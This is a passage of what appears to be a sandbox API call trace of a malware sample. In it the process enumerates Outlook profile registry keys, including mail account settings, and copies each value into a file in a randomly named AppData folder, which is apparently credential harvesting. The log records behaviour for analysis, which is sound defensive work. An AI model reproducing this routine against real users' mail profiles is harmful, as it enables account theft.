KeyHandle=0x78, Index=0x8, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.637] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\55aad8d134512d438564aa678cb92d66", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.637] NtClose (Handle=0xbc) returned 0x0 [0161.637] NtEnumerateKey (in: KeyHandle=0x78, Index=0x9, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.638] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\71b0295bef58e344911262b243f005ac", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.638] NtClose (Handle=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0x78, Index=0xa, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.638] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.638] NtClose (Handle=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0x78, Index=0xb, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.638] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x8000001a [0161.638] NtClose (Handle=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0x78, Index=0xc, KeyInformationClass=0x0, KeyInformation=0x29d794, Length=0x200, ResultLength=0x29dbdc | out: KeyInformation=0x29d794, ResultLength=0x29dbdc) returned 0x0 [0161.638] NtCreateKey (in: KeyHandle=0x29dbe8, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe8*=0xbc) returned 0x0 [0161.638] NtEnumerateKey (in: KeyHandle=0xbc, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x29d394, Length=0x400, ResultLength=0x29dbf0 | out: KeyInformation=0x29d394, ResultLength=0x29dbf0) returned 0x0 [0161.638] NtCreateKey (in: KeyHandle=0x29dbe4, DesiredAccess=0x20219, ObjectAttributes=0x29cf4c*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\User\\S-1-5-21-2345716840-1148442690-1481144037-1000\\SOFTWARE\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29dbe4*=0xc0) returned 0x0 [0161.640] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x0, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.640] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.640] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.640] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.640] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0xc, ByteOffset=0x29ce14*=40, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.640] NtClose (Handle=0xc4) returned 0x0 [0161.641] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.641] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.641] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.641] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x52, ByteOffset=0x29ce14*=52, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.641] NtClose (Handle=0xc4) returned 0x0 [0161.642] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x1, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.642] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.642] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.642] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.642] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x12, ByteOffset=0x29ce14*=134, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.642] NtClose (Handle=0xc4) returned 0x0 [0161.651] RtlIntegerToChar (in: Value=0x15a6cd31, Base=0x0, Length=0x20, String=0x29cefc | out: String="363253041") returned 0x0 [0161.651] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.651] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.652] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.652] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x16, ByteOffset=0x29ce14*=152, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.652] NtClose (Handle=0xc4) returned 0x0 [0161.652] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x2, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.652] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.652] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.652] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.653] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x18, ByteOffset=0x29ce14*=174, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.653] NtClose (Handle=0xc4) returned 0x0 [0161.653] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.653] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.653] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.653] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x14, ByteOffset=0x29ce14*=198, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.653] NtClose (Handle=0xc4) returned 0x0 [0161.654] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x3, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.654] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.654] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.654] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.654] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1a, ByteOffset=0x29ce14*=218, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.654] NtClose (Handle=0xc4) returned 0x0 [0161.654] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.654] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.655] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.655] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x12, ByteOffset=0x29ce14*=244, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.655] NtClose (Handle=0xc4) returned 0x0 [0161.655] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x4, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.655] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.655] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.655] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.655] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1c, ByteOffset=0x29ce14*=262, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.655] NtClose (Handle=0xc4) returned 0x0 [0161.664] RtlIntegerToChar (in: Value=0x2, Base=0x0, Length=0x20, String=0x29cefc | out: String="2") returned 0x0 [0161.664] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.664] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.665] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.665] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x6, ByteOffset=0x29ce14*=290, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.665] NtClose (Handle=0xc4) returned 0x0 [0161.666] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x5, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.666] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.666] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.666] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.666] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x1a, ByteOffset=0x29ce14*=296, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.666] NtClose (Handle=0xc4) returned 0x0 [0161.666] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.666] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.667] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.667] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x2e, ByteOffset=0x29ce14*=322, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.667] NtClose (Handle=0xc4) returned 0x0 [0161.667] NtEnumerateValueKey (in: KeyHandle=0xc0, Index=0x6, KeyValueInformationClass=0x1, KeyValueInformation=0x29cf94, Length=0x400, ResultLength=0x29dbf0 | out: KeyValueInformation=0x29cf94, ResultLength=0x29dbf0) returned 0x0 [0161.667] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.667] NtCreateFile (in: FileHandle=0x29cebc, DesiredAccess=0x12019f, ObjectAttributes=0x29ce84*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x29cea4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x3, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x29cebc*=0xc4, IoStatusBlock=0x29cea4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0161.667] NtQueryInformationFile (in: FileHandle=0xc4, IoStatusBlock=0x29cea4, FileInformation=0x29cdfc, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x29cea4, FileInformation=0x29cdfc) returned 0x0 [0161.667] NtWriteFile (in: FileHandle=0xc4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x29cea4, Buffer=0x308730*, Length=0x20, ByteOffset=0x29ce14*=368, Key=0x0 | out: IoStatusBlock=0x29cea4, Buffer=0x308730*) returned 0x0 [0161.668] NtClose (Handle=0xc4) returned 0x0 [0161.668] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x29ce9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | 